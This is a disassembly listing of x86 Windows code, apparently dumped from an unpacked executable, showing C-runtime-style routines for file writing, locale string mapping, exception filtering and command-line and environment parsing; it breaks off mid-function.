loc_42287E: ; CODE XREF: sub_4227C5+AFj
sub eax, ecx
add eax, edx
mov [ebp+arg_0], eax
mov eax, esi
sar eax, 5
and esi, 1Fh
lea ebx, ds:4DCCA0h[eax*4]
shl esi, 3
mov eax, [ebx]
test byte ptr [esi+eax+4], 80h
jz short loc_42290A
push 2
push 0
push [ebp+var_C]
call sub_42272B
add esp, 0Ch
cmp eax, [ebp+var_4]
jnz short loc_4228D1
mov eax, [edi+8]
mov ecx, [ebp+arg_0]
add ecx, eax
loc_4228BC: ; CODE XREF: sub_4227C5+104j
cmp eax, ecx
jnb short loc_4228CB
cmp byte ptr [eax], 0Ah
jnz short loc_4228C8
inc [ebp+arg_0]
loc_4228C8: ; CODE XREF: sub_4227C5+FEj
inc eax
jmp short loc_4228BC
; ---------------------------------------------------------------------------
loc_4228CB: ; CODE XREF: sub_4227C5+F9j
test byte ptr [edi+0Dh], 20h
jmp short loc_422905
; ---------------------------------------------------------------------------
loc_4228D1: ; CODE XREF: sub_4227C5+EDj
push 0
push [ebp+var_4]
push [ebp+var_C]
call sub_42272B
mov eax, 200h
add esp, 0Ch
cmp [ebp+arg_0], eax
ja short loc_4228F8
mov ecx, [edi+0Ch]
test cl, 8
jz short loc_4228F8
test ch, 4
jz short loc_4228FB
loc_4228F8: ; CODE XREF: sub_4227C5+124j
; sub_4227C5+12Cj
mov eax, [edi+18h]
loc_4228FB: ; CODE XREF: sub_4227C5+131j
mov [ebp+arg_0], eax
mov eax, [ebx]
test byte ptr [esi+eax+4], 4
loc_422905: ; CODE XREF: sub_4227C5+10Aj
jz short loc_42290A
inc [ebp+arg_0]
loc_42290A: ; CODE XREF: sub_4227C5+D9j
; sub_4227C5:loc_422905j
mov eax, [ebp+arg_0]
sub [ebp+var_4], eax
loc_422910: ; CODE XREF: sub_4227C5+A4j
; sub_4227C5+B4j
mov eax, [ebp+var_8]
mov ecx, [ebp+var_4]
add eax, ecx
loc_422918: ; CODE XREF: sub_4227C5+3Cj
; sub_4227C5+8Dj ...
pop edi
pop esi
pop ebx
leave
retn
sub_4227C5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42291D proc near ; CODE XREF: sub_41D2B4+A2p
; sub_41DB8B+2Cp ...
var_414 = byte ptr -414h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 414h
mov ecx, [ebp+arg_0]
push ebx
cmp ecx, dword_4DCDA0
push esi
push edi
jnb loc_422AB1
mov eax, ecx
mov esi, ecx
sar eax, 5
and esi, 1Fh
lea ebx, ds:4DCCA0h[eax*4]
shl esi, 3
mov eax, [ebx]
mov al, [eax+esi+4]
test al, 1
jz loc_422AB1
xor edi, edi
cmp [ebp+arg_8], edi
mov [ebp+var_8], edi
mov [ebp+var_10], edi
jnz short loc_42296E
loc_422967: ; CODE XREF: sub_42291D+177j
xor eax, eax
jmp loc_422AC5
; ---------------------------------------------------------------------------
loc_42296E: ; CODE XREF: sub_42291D+48j
test al, 20h
jz short loc_42297E
push 2
push edi
push ecx
call sub_42272B
add esp, 0Ch
loc_42297E: ; CODE XREF: sub_42291D+53j
mov eax, [ebx]
add eax, esi
test byte ptr [eax+4], 80h
jz loc_422A4D
mov eax, [ebp+arg_4]
cmp [ebp+arg_8], edi
mov [ebp+var_4], eax
mov [ebp+arg_0], edi
jbe loc_422A85
loc_42299E: ; CODE XREF: sub_42291D+F5j
lea eax, [ebp+var_414]
loc_4229A4: ; CODE XREF: sub_42291D+B9j
mov ecx, [ebp+var_4]
sub ecx, [ebp+arg_4]
cmp ecx, [ebp+arg_8]
jnb short loc_4229D8
mov ecx, [ebp+var_4]
inc [ebp+var_4]
mov cl, [ecx]
cmp cl, 0Ah
jnz short loc_4229C3
inc [ebp+var_10]
mov byte ptr [eax], 0Dh
inc eax
loc_4229C3: ; CODE XREF: sub_42291D+9Dj
mov [eax], cl
inc eax
mov ecx, eax
lea edx, [ebp+var_414]
sub ecx, edx
cmp ecx, 400h
jl short loc_4229A4
loc_4229D8: ; CODE XREF: sub_42291D+90j
mov edi, eax
lea eax, [ebp+var_414]
sub edi, eax
lea eax, [ebp+var_C]
push 0
push eax
lea eax, [ebp+var_414]
push edi
push eax
mov eax, [ebx]
push dword ptr [eax+esi]
nop
call near ptr 2720000h
test eax, eax
jz short loc_422A42
mov eax, [ebp+var_C]
add [ebp+var_8], eax
cmp eax, edi
jl short loc_422A14
mov eax, [ebp+var_4]
sub eax, [ebp+arg_4]
cmp eax, [ebp+arg_8]
jb short loc_42299E
loc_422A14: ; CODE XREF: sub_42291D+EAj
; sub_42291D+12Ej
xor edi, edi
loc_422A16: ; CODE XREF: sub_42291D+150j
; sub_42291D+15Bj
mov eax, [ebp+var_8]
cmp eax, edi
jnz loc_422AAC
cmp [ebp+arg_0], edi
jz short loc_422A85
push 5
pop eax
cmp [ebp+arg_0], eax
jnz short loc_422A7A
mov dword_4DB958, 9
mov dword_4DB95C, eax
jmp loc_422AC2
; ---------------------------------------------------------------------------
loc_422A42: ; CODE XREF: sub_42291D+E0j
nop
call near ptr 26B0857h
mov [ebp+arg_0], eax
jmp short loc_422A14
; ---------------------------------------------------------------------------
loc_422A4D: ; CODE XREF: sub_42291D+69j
lea ecx, [ebp+var_C]
push edi
push ecx
push [ebp+arg_8]
push [ebp+arg_4]
push dword ptr [eax]
nop
call near ptr 2720000h
test eax, eax
jz short loc_422A6F
mov eax, [ebp+var_C]
mov [ebp+arg_0], edi
mov [ebp+var_8], eax
jmp short loc_422A16
; ---------------------------------------------------------------------------
loc_422A6F: ; CODE XREF: sub_42291D+145j
call near ptr 26B0857h
nop
mov [ebp+arg_0], eax
jmp short loc_422A16
; ---------------------------------------------------------------------------
loc_422A7A: ; CODE XREF: sub_42291D+10Fj
push [ebp+arg_0]
call sub_4203DF
pop ecx
jmp short loc_422AC2
; ---------------------------------------------------------------------------
loc_422A85: ; CODE XREF: sub_42291D+7Bj
; sub_42291D+107j
mov eax, [ebx]
test byte ptr [eax+esi+4], 40h
jz short loc_422A9A
mov eax, [ebp+arg_4]
cmp byte ptr [eax], 1Ah
jz loc_422967
loc_422A9A: ; CODE XREF: sub_42291D+16Fj
mov dword_4DB958, 1Ch
mov dword_4DB95C, edi
jmp short loc_422AC2
; ---------------------------------------------------------------------------
loc_422AAC: ; CODE XREF: sub_42291D+FEj
sub eax, [ebp+var_10]
jmp short loc_422AC5
; ---------------------------------------------------------------------------
loc_422AB1: ; CODE XREF: sub_42291D+15j
; sub_42291D+37j
and dword_4DB95C, 0
mov dword_4DB958, 9
loc_422AC2: ; CODE XREF: sub_42291D+120j
; sub_42291D+166j ...
or eax, 0FFFFFFFFh
loc_422AC5: ; CODE XREF: sub_42291D+4Cj
; sub_42291D+192j
pop edi
pop esi
pop ebx
leave
retn
sub_42291D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422ACA proc near ; CODE XREF: sub_41D5AA+47p
; sub_41D5AA+74p ...
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_427940
push offset sub_4234B8
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 1Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
xor edi, edi
cmp dword_4DBA2C, edi
jnz short loc_422B40
push edi
push edi
push 1
pop ebx
push ebx
push offset dword_427938
mov esi, 100h
push esi
push edi
call near ptr 2670000h
nop
test eax, eax
jz short loc_422B1E
mov dword_4DBA2C, ebx
jmp short loc_422B40
; ---------------------------------------------------------------------------
loc_422B1E: ; CODE XREF: sub_422ACA+4Aj
push edi
push edi
push ebx
push offset dword_4CB50C
push esi
push edi
nop
call near ptr 2680000h
test eax, eax
jz loc_422C58
mov dword_4DBA2C, 2
loc_422B40: ; CODE XREF: sub_422ACA+2Ej
; sub_422ACA+52j
cmp [ebp+arg_C], edi
jle short loc_422B55
push [ebp+arg_C]
push [ebp+arg_8]
call sub_426180
pop ecx
pop ecx
mov [ebp+arg_C], eax
loc_422B55: ; CODE XREF: sub_422ACA+79j
mov eax, dword_4DBA2C
cmp eax, 2
jnz short loc_422B7C
push [ebp+arg_14]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
nop
call near ptr 2680000h
jmp loc_422C5A
; ---------------------------------------------------------------------------
loc_422B7C: ; CODE XREF: sub_422ACA+93j
cmp eax, 1
jnz loc_422C58
cmp [ebp+arg_18], edi
jnz short loc_422B92
mov eax, dword_4DBA24
mov [ebp+arg_18], eax
loc_422B92: ; CODE XREF: sub_422ACA+BEj
push edi
push edi
push [ebp+arg_C]
push [ebp+arg_8]
mov eax, [ebp+arg_1C]
neg eax
sbb eax, eax
and eax, 8
inc eax
push eax
push [ebp+arg_18]
call near ptr 2860000h
nop
mov ebx, eax
mov [ebp+var_1C], ebx
cmp ebx, edi
jz loc_422C58
mov [ebp+var_4], edi
lea eax, [ebx+ebx]
add eax, 3
and al, 0FCh
call sub_41BB20
mov [ebp+var_18], esp
mov eax, esp
mov [ebp+var_24], eax
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_422BED
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor edi, edi
mov [ebp+var_24], edi
or [ebp+var_4], 0FFFFFFFFh
mov ebx, [ebp+var_1C]
loc_422BED: ; CODE XREF: sub_422ACA+10Ej
cmp [ebp+var_24], edi
jz short loc_422C58
push ebx
push [ebp+var_24]
push [ebp+arg_C]
push [ebp+arg_8]
push 1
push [ebp+arg_18]
nop
call near ptr 2860000h
test eax, eax
jz short loc_422C58
push edi
push edi
push ebx
push [ebp+var_24]
push [ebp+arg_4]
push [ebp+arg_0]
nop
call near ptr 2670000h
mov esi, eax
mov [ebp+var_28], esi
cmp esi, edi
jz short loc_422C58
test byte ptr [ebp+arg_4+1], 4
jz short loc_422C6C
cmp [ebp+arg_14], edi
jz loc_422CE7
cmp esi, [ebp+arg_14]
jg short loc_422C58
push [ebp+arg_14]
push [ebp+arg_10]
push ebx
push [ebp+var_24]
push [ebp+arg_4]
push [ebp+arg_0]
nop
call near ptr 2670000h
test eax, eax
jnz loc_422CE7
loc_422C58: ; CODE XREF: sub_422ACA+66j
; sub_422ACA+B5j ...
xor eax, eax
loc_422C5A: ; CODE XREF: sub_422ACA+ADj
; sub_422ACA+21Fj
lea esp, [ebp-38h]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_422C6C: ; CODE XREF: sub_422ACA+160j
mov [ebp+var_4], 1
lea eax, [esi+esi]
add eax, 3
and al, 0FCh
call sub_41BB20
mov [ebp+var_18], esp
mov ebx, esp
mov [ebp+var_20], ebx
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_422CA0
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor edi, edi
xor ebx, ebx
or [ebp+var_4], 0FFFFFFFFh
mov esi, [ebp+var_28]
loc_422CA0: ; CODE XREF: sub_422ACA+1C2j
cmp ebx, edi
jz short loc_422C58
push esi
push ebx
push [ebp+var_1C]
push [ebp+var_24]
push [ebp+arg_4]
push [ebp+arg_0]
nop
call near ptr 2670000h
test eax, eax
jz short loc_422C58
cmp [ebp+arg_14], edi
push edi
push edi
jnz short loc_422CC7
push edi
push edi
jmp short loc_422CCD
; ---------------------------------------------------------------------------
loc_422CC7: ; CODE XREF: sub_422ACA+1F7j
push [ebp+arg_14]
push [ebp+arg_10]
loc_422CCD: ; CODE XREF: sub_422ACA+1FBj
push esi
push ebx
push 220h
push [ebp+arg_18]
nop
call near ptr 2850000h
mov esi, eax
cmp esi, edi
jz loc_422C58
loc_422CE7: ; CODE XREF: sub_422ACA+165j
; sub_422ACA+188j
mov eax, esi
jmp loc_422C5A
sub_422ACA endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ebx
push dword ptr [ebp+8]
call sub_422E2F
test eax, eax
pop ecx
jz loc_422E23
mov ebx, [eax+8]
test ebx, ebx
jz loc_422E23
cmp ebx, 5
jnz short loc_422D1F
and dword ptr [eax+8], 0
push 1
pop eax
jmp loc_422E2C
; ---------------------------------------------------------------------------
loc_422D1F: ; CODE XREF: ___:00422D11j
cmp ebx, 1
jz loc_422E1E
mov ecx, dword_4DBA30
mov [ebp+8], ecx
mov ecx, [ebp+0Ch]
mov dword_4DBA30, ecx
mov ecx, [eax+4]
cmp ecx, 8
jnz loc_422E0E
mov ecx, dword_43D020
mov edx, dword_43D024
add edx, ecx
push esi
cmp ecx, edx
jge short loc_422D6E
lea esi, [ecx+ecx*2]
sub edx, ecx
lea esi, ds:43CFB0h[esi*4]
loc_422D65: ; CODE XREF: ___:00422D6Cj
and dword ptr [esi], 0
add esi, 0Ch
dec edx
jnz short loc_422D65
loc_422D6E: ; CODE XREF: ___:00422D57j
mov eax, [eax]
mov esi, dword_43D02C
cmp eax, 0C000008Eh
jnz short loc_422D89
mov dword_43D02C, 83h
jmp short loc_422DF9
; ---------------------------------------------------------------------------
loc_422D89: ; CODE XREF: ___:00422D7Bj
cmp eax, 0C0000090h
jnz short loc_422D9C
mov dword_43D02C, 81h
jmp short loc_422DF9
; ---------------------------------------------------------------------------
loc_422D9C: ; CODE XREF: ___:00422D8Ej
cmp eax, 0C0000091h
jnz short loc_422DAF
mov dword_43D02C, 84h
jmp short loc_422DF9
; ---------------------------------------------------------------------------
loc_422DAF: ; CODE XREF: ___:00422DA1j
cmp eax, 0C0000093h
jnz short loc_422DC2
mov dword_43D02C, 85h
jmp short loc_422DF9
; ---------------------------------------------------------------------------
loc_422DC2: ; CODE XREF: ___:00422DB4j
cmp eax, 0C000008Dh
jnz short loc_422DD5
mov dword_43D02C, 82h
jmp short loc_422DF9
; ---------------------------------------------------------------------------
loc_422DD5: ; CODE XREF: ___:00422DC7j
cmp eax, 0C000008Fh
jnz short loc_422DE8
mov dword_43D02C, 86h
jmp short loc_422DF9
; ---------------------------------------------------------------------------
loc_422DE8: ; CODE XREF: ___:00422DDAj
cmp eax, 0C0000092h
jnz short loc_422DF9
mov dword_43D02C, 8Ah
loc_422DF9: ; CODE XREF: ___:00422D87j
; ___:00422D9Aj ...
push dword_43D02C
push 8
call ebx
pop ecx
mov dword_43D02C, esi
pop ecx
pop esi
jmp short loc_422E16
; ---------------------------------------------------------------------------
loc_422E0E: ; CODE XREF: ___:00422D40j
and dword ptr [eax+8], 0
push ecx
call ebx
pop ecx
loc_422E16: ; CODE XREF: ___:00422E0Cj
mov eax, [ebp+8]
mov dword_4DBA30, eax
loc_422E1E: ; CODE XREF: ___:00422D22j
or eax, 0FFFFFFFFh
jmp short loc_422E2C
; ---------------------------------------------------------------------------
loc_422E23: ; CODE XREF: ___:00422CFDj
; ___:00422D08j
push dword ptr [ebp+0Ch]
call near ptr 2660000h
nop
loc_422E2C: ; CODE XREF: ___:00422D1Aj
; ___:00422E21j
pop ebx
pop ebp
retn
; =============== S U B R O U T I N E =======================================
sub_422E2F proc near ; CODE XREF: ___:00422CF5p
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
mov ecx, dword_43D028
cmp dword_43CFA8, edx
push esi
mov eax, offset dword_43CFA8
jz short loc_422E5C
lea esi, [ecx+ecx*2]
lea esi, ds:43CFA8h[esi*4]
loc_422E51: ; CODE XREF: sub_422E2F+2Bj
add eax, 0Ch
cmp eax, esi
jnb short loc_422E5C
cmp [eax], edx
jnz short loc_422E51
loc_422E5C: ; CODE XREF: sub_422E2F+16j
; sub_422E2F+27j
lea ecx, [ecx+ecx*2]
pop esi
lea ecx, ds:43CFA8h[ecx*4]
cmp eax, ecx
jnb short loc_422E6F
cmp [eax], edx
jz short locret_422E71
loc_422E6F: ; CODE XREF: sub_422E2F+3Aj
xor eax, eax
locret_422E71: ; CODE XREF: sub_422E2F+3Ej
retn
sub_422E2F endp
; ---------------------------------------------------------------------------
cmp dword_4DCFF4, 0
jnz short loc_422E80
call sub_42026D
loc_422E80: ; CODE XREF: ___:00422E79j
push esi
mov esi, dword_4DCFEC
mov al, [esi]
cmp al, 22h
jnz short loc_422EB2
loc_422E8D: ; CODE XREF: ___:00422EA5j
; ___:00422EA8j
mov al, [esi+1]
inc esi
cmp al, 22h
jz short loc_422EAA
test al, al
jz short loc_422EAA
movzx eax, al
push eax
call sub_424D36
test eax, eax
pop ecx
jz short loc_422E8D
inc esi
jmp short loc_422E8D
; ---------------------------------------------------------------------------
loc_422EAA: ; CODE XREF: ___:00422E93j
; ___:00422E97j
cmp byte ptr [esi], 22h
jnz short loc_422EBC
loc_422EAF: ; CODE XREF: ___:00422EC4j
inc esi
jmp short loc_422EBC
; ---------------------------------------------------------------------------
loc_422EB2: ; CODE XREF: ___:00422E8Bj
cmp al, 20h
jbe short loc_422EBC
loc_422EB6: ; CODE XREF: ___:00422EBAj
inc esi
cmp byte ptr [esi], 20h
ja short loc_422EB6
loc_422EBC: ; CODE XREF: ___:00422EADj
; ___:00422EB0j ...
mov al, [esi]
test al, al
jz short loc_422EC6
cmp al, 20h
jbe short loc_422EAF
loc_422EC6: ; CODE XREF: ___:00422EC0j
mov eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
push ebx
xor ebx, ebx
cmp dword_4DCFF4, ebx
push esi
push edi
jnz short loc_422EDC
call sub_42026D
loc_422EDC: ; CODE XREF: ___:00422ED5j
mov esi, dword_4DB9C8
xor edi, edi
loc_422EE4: ; CODE XREF: ___:00422EFAj
mov al, [esi]
cmp al, bl
jz short loc_422EFC
cmp al, 3Dh
jz short loc_422EEF
inc edi
loc_422EEF: ; CODE XREF: ___:00422EECj
push esi
call sub_41AFE0
pop ecx
lea esi, [esi+eax+1]
jmp short loc_422EE4
; ---------------------------------------------------------------------------
loc_422EFC: ; CODE XREF: ___:00422EE8j
lea eax, ds:4[edi*4]
push eax
call sub_41B4D5
mov esi, eax
pop ecx
cmp esi, ebx
mov dword_4DB980, esi
jnz short loc_422F1E
push 9
call sub_41DA29
pop ecx
loc_422F1E: ; CODE XREF: ___:00422F14j
mov edi, dword_4DB9C8
cmp [edi], bl
jz short loc_422F61
push ebp
loc_422F29: ; CODE XREF: ___:00422F5Ej
push edi
call sub_41AFE0
mov ebp, eax
pop ecx
inc ebp
cmp byte ptr [edi], 3Dh
jz short loc_422F5A
push ebp
call sub_41B4D5
cmp eax, ebx
pop ecx
mov [esi], eax
jnz short loc_422F4D
push 9
call sub_41DA29
pop ecx
loc_422F4D: ; CODE XREF: ___:00422F43j
push edi
push dword ptr [esi]
call sub_41BEB0
pop ecx
add esi, 4
pop ecx
loc_422F5A: ; CODE XREF: ___:00422F36j
add edi, ebp
cmp [edi], bl
jnz short loc_422F29
pop ebp
loc_422F61: ; CODE XREF: ___:00422F26j
push dword_4DB9C8
call sub_41B0B1
pop ecx
mov dword_4DB9C8, ebx
mov [esi], ebx
pop edi
pop esi
mov dword_4DCFF0, 1
pop ebx
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
xor ebx, ebx
cmp dword_4DCFF4, ebx
push esi
push edi
jnz short loc_422F9A
call sub_42026D
loc_422F9A: ; CODE XREF: ___:00422F93j
mov esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe"
push 104h
push esi
push ebx
call near ptr 26A0000h
nop
mov eax, dword_4DCFEC
mov off_4DB990, esi
mov edi, esi
cmp [eax], bl
jz short loc_422FBF
mov edi, eax
loc_422FBF: ; CODE XREF: ___:00422FBBj
lea eax, [ebp-8]
push eax
lea eax, [ebp-4]
push eax
push ebx
push ebx
push edi
call sub_42301C
mov eax, [ebp-8]
mov ecx, [ebp-4]
lea eax, [eax+ecx*4]
push eax
call sub_41B4D5
mov esi, eax
add esp, 18h
cmp esi, ebx
jnz short loc_422FEF
push 8
call sub_41DA29
pop ecx
loc_422FEF: ; CODE XREF: ___:00422FE5j
lea eax, [ebp-8]
push eax
lea eax, [ebp-4]
push eax
mov eax, [ebp-4]
lea eax, [esi+eax*4]
push eax
push esi
push edi
call sub_42301C
mov eax, [ebp-4]
add esp, 14h
dec eax
mov dword_4DB978, esi
pop edi
pop esi
mov dword_4DB974, eax
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42301C proc near ; CODE XREF: ___:00422FCAp
; ___:00423000p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
mov ecx, [ebp+arg_10]
mov eax, [ebp+arg_C]
push ebx
push esi
and dword ptr [ecx], 0
mov esi, [ebp+arg_8]
push edi
mov edi, [ebp+arg_4]
mov dword ptr [eax], 1
mov eax, [ebp+arg_0]
test edi, edi
jz short loc_423046
mov [edi], esi
add edi, 4
mov [ebp+arg_4], edi
loc_423046: ; CODE XREF: sub_42301C+20j
cmp byte ptr [eax], 22h
jnz short loc_42308F
loc_42304B: ; CODE XREF: sub_42301C+58j
; sub_42301C+5Fj
mov dl, [eax+1]
inc eax
cmp dl, 22h
jz short loc_42307D
test dl, dl
jz short loc_42307D
movzx edx, dl
test byte_4DCEC1[edx], 4
jz short loc_423070
inc dword ptr [ecx]
test esi, esi
jz short loc_423070
mov dl, [eax]
mov [esi], dl
inc esi
inc eax
loc_423070: ; CODE XREF: sub_42301C+46j
; sub_42301C+4Cj
inc dword ptr [ecx]
test esi, esi
jz short loc_42304B
mov dl, [eax]
mov [esi], dl
inc esi
jmp short loc_42304B
; ---------------------------------------------------------------------------
loc_42307D: ; CODE XREF: sub_42301C+36j
; sub_42301C+3Aj
inc dword ptr [ecx]
test esi, esi
jz short loc_423087
and byte ptr [esi], 0
inc esi
loc_423087: ; CODE XREF: sub_42301C+65j
cmp byte ptr [eax], 22h
jnz short loc_4230D2
inc eax
jmp short loc_4230D2
; ---------------------------------------------------------------------------
loc_42308F: ; CODE XREF: sub_42301C+2Dj
; sub_42301C+A5j
inc dword ptr [ecx]
test esi, esi
jz short loc_42309A
mov dl, [eax]
mov [esi], dl
inc esi
loc_42309A: ; CODE XREF: sub_42301C+77j
mov dl, [eax]
inc eax
movzx ebx, dl
test byte_4DCEC1[ebx], 4
jz short loc_4230B5
inc dword ptr [ecx]
test esi, esi
jz short loc_4230B4
mov bl, [eax]
mov [esi], bl
inc esi
loc_4230B4: ; CODE XREF: sub_42301C+91j
inc eax
loc_4230B5: ; CODE XREF: sub_42301C+8Bj
cmp dl, 20h
jz short loc_4230C3
test dl, dl
jz short loc_4230C7
cmp dl, 9
jnz short loc_42308F
loc_4230C3: ; CODE XREF: sub_42301C+9Cj
test dl, dl
jnz short loc_4230CA
loc_4230C7: ; CODE XREF: sub_42301C+A0j
dec eax
jmp short loc_4230D2
; ---------------------------------------------------------------------------
loc_4230CA: ; CODE XREF: sub_42301C+A9j
test esi, esi
jz short loc_4230D2
and byte ptr [esi-1], 0
loc_4230D2: ; CODE XREF: sub_42301C+6Ej
; sub_42301C+71j ...
and [ebp+arg_10], 0
loc_4230D6: ; CODE XREF: sub_42301C+19Ej
cmp byte ptr [eax], 0
jz loc_4231BF
loc_4230DF: ; CODE XREF: sub_42301C+D0j
mov dl, [eax]
cmp dl, 20h
jz short loc_4230EB
cmp dl, 9
jnz short loc_4230EE
loc_4230EB: ; CODE XREF: sub_42301C+C8j
inc eax
jmp short loc_4230DF
; ---------------------------------------------------------------------------
loc_4230EE: ; CODE XREF: sub_42301C+CDj
cmp byte ptr [eax], 0
jz loc_4231BF
test edi, edi
jz short loc_423103
mov [edi], esi
add edi, 4
mov [ebp+arg_4], edi
loc_423103: ; CODE XREF: sub_42301C+DDj
mov edx, [ebp+arg_C]
inc dword ptr [edx]
loc_423108: ; CODE XREF: sub_42301C+18Fj
mov [ebp+arg_0], 1
xor ebx, ebx
loc_423111: ; CODE XREF: sub_42301C+FCj
cmp byte ptr [eax], 5Ch
jnz short loc_42311A
inc eax
inc ebx
jmp short loc_423111
; ---------------------------------------------------------------------------
loc_42311A: ; CODE XREF: sub_42301C+F8j
cmp byte ptr [eax], 22h
jnz short loc_42314B
test bl, 1
jnz short loc_423149
xor edi, edi
cmp [ebp+arg_10], edi
jz short loc_423138
cmp byte ptr [eax+1], 22h
lea edx, [eax+1]
jnz short loc_423138
mov eax, edx
jmp short loc_42313B
; ---------------------------------------------------------------------------
loc_423138: ; CODE XREF: sub_42301C+10Dj
; sub_42301C+116j
mov [ebp+arg_0], edi
loc_42313B: ; CODE XREF: sub_42301C+11Aj
mov edi, [ebp+arg_4]
xor edx, edx
cmp [ebp+arg_10], edx
setz dl
mov [ebp+arg_10], edx
loc_423149: ; CODE XREF: sub_42301C+106j
shr ebx, 1
loc_42314B: ; CODE XREF: sub_42301C+101j
mov edx, ebx
dec ebx
test edx, edx
jz short loc_423160
inc ebx
loc_423153: ; CODE XREF: sub_42301C+142j
test esi, esi
jz short loc_42315B
mov byte ptr [esi], 5Ch
inc esi
loc_42315B: ; CODE XREF: sub_42301C+139j
inc dword ptr [ecx]
dec ebx
jnz short loc_423153
loc_423160: ; CODE XREF: sub_42301C+134j
mov dl, [eax]
test dl, dl
jz short loc_4231B0
cmp [ebp+arg_10], 0
jnz short loc_423176
cmp dl, 20h
jz short loc_4231B0
cmp dl, 9
jz short loc_4231B0
loc_423176: ; CODE XREF: sub_42301C+14Ej
cmp [ebp+arg_0], 0
jz short loc_4231AA
test esi, esi
jz short loc_423199
movzx ebx, dl
test byte_4DCEC1[ebx], 4
jz short loc_423192
mov [esi], dl
inc esi
inc eax
inc dword ptr [ecx]
loc_423192: ; CODE XREF: sub_42301C+16Ej
mov dl, [eax]
mov [esi], dl
inc esi
jmp short loc_4231A8
; ---------------------------------------------------------------------------
loc_423199: ; CODE XREF: sub_42301C+162j
movzx edx, dl
test byte_4DCEC1[edx], 4
jz short loc_4231A8
inc eax
inc dword ptr [ecx]
loc_4231A8: ; CODE XREF: sub_42301C+17Bj
; sub_42301C+187j
inc dword ptr [ecx]
loc_4231AA: ; CODE XREF: sub_42301C+15Ej
inc eax
jmp loc_423108
; ---------------------------------------------------------------------------
loc_4231B0: ; CODE XREF: sub_42301C+148j
; sub_42301C+153j ...
test esi, esi
jz short loc_4231B8
and byte ptr [esi], 0
inc esi
loc_4231B8: ; CODE XREF: sub_42301C+196j
inc dword ptr [ecx]
jmp loc_4230D6
; ---------------------------------------------------------------------------
loc_4231BF: ; CODE XREF: sub_42301C+BDj
; sub_42301C+D5j
test edi, edi
jz short loc_4231C6
and dword ptr [edi], 0
loc_4231C6: ; CODE XREF: sub_42301C+1A5j
mov eax, [ebp+arg_C]
pop edi
pop esi
pop ebx
inc dword ptr [eax]
pop ebp
retn
sub_42301C endp
; ---------------------------------------------------------------------------
push ecx
push ecx
mov eax, dword_4DBB38
push ebx
push ebp
mov ebp, dword_42703C
push esi
push edi
xor ebx, ebx
xor esi, esi
xor edi, edi
cmp eax, ebx
jnz short loc_42321E
call ebp
mov esi, eax
cmp esi, ebx
jz short loc_4231FF
mov dword_4DBB38, 1
jmp short loc_423227
; ---------------------------------------------------------------------------
loc_4231FF: ; CODE XREF: ___:004231F1j
nop
call near ptr 2650BF9h
mov edi, eax
cmp edi, ebx
jz loc_4232F9
mov dword_4DBB38, 2
jmp loc_4232AD
; ---------------------------------------------------------------------------
loc_42321E: ; CODE XREF: ___:004231E9j
cmp eax, 1
jnz loc_4232A8
loc_423227: ; CODE XREF: ___:004231FDj
cmp esi, ebx
jnz short loc_423237
call ebp
mov esi, eax
cmp esi, ebx
jz loc_4232F9
loc_423237: ; CODE XREF: ___:00423229j
cmp [esi], bx
mov eax, esi
jz short loc_42324C
loc_42323E: ; CODE XREF: ___:00423243j
; ___:0042324Aj
inc eax
inc eax
cmp [eax], bx
jnz short loc_42323E
inc eax
inc eax
cmp [eax], bx
jnz short loc_42323E
loc_42324C: ; CODE XREF: ___:0042323Cj
sub eax, esi
mov edi, dword_42717C
sar eax, 1
push ebx
push ebx
inc eax
push ebx
push ebx
push eax
push esi
push ebx
push ebx
mov [esp+34h], eax
call edi
mov ebp, eax
cmp ebp, ebx
jz short loc_42329D
push ebp
call sub_41B4D5
cmp eax, ebx
pop ecx
mov [esp+10h], eax
jz short loc_42329D
push ebx
push ebx
push ebp
push eax
push dword ptr [esp+24h]
push esi
push ebx
push ebx
call edi
test eax, eax
jnz short loc_423299
push dword ptr [esp+10h]
call sub_41B0B1
pop ecx
mov [esp+10h], ebx
loc_423299: ; CODE XREF: ___:00423289j
mov ebx, [esp+10h]
loc_42329D: ; CODE XREF: ___:00423269j
; ___:00423278j
push esi
nop
call near ptr 2650E76h
mov eax, ebx
jmp short loc_4232FB
; ---------------------------------------------------------------------------
loc_4232A8: ; CODE XREF: ___:00423221j
cmp eax, 2
jnz short loc_4232F9
loc_4232AD: ; CODE XREF: ___:00423219j
cmp edi, ebx
jnz short loc_4232BD
nop
call near ptr 2650BF9h
mov edi, eax
cmp edi, ebx
jz short loc_4232F9
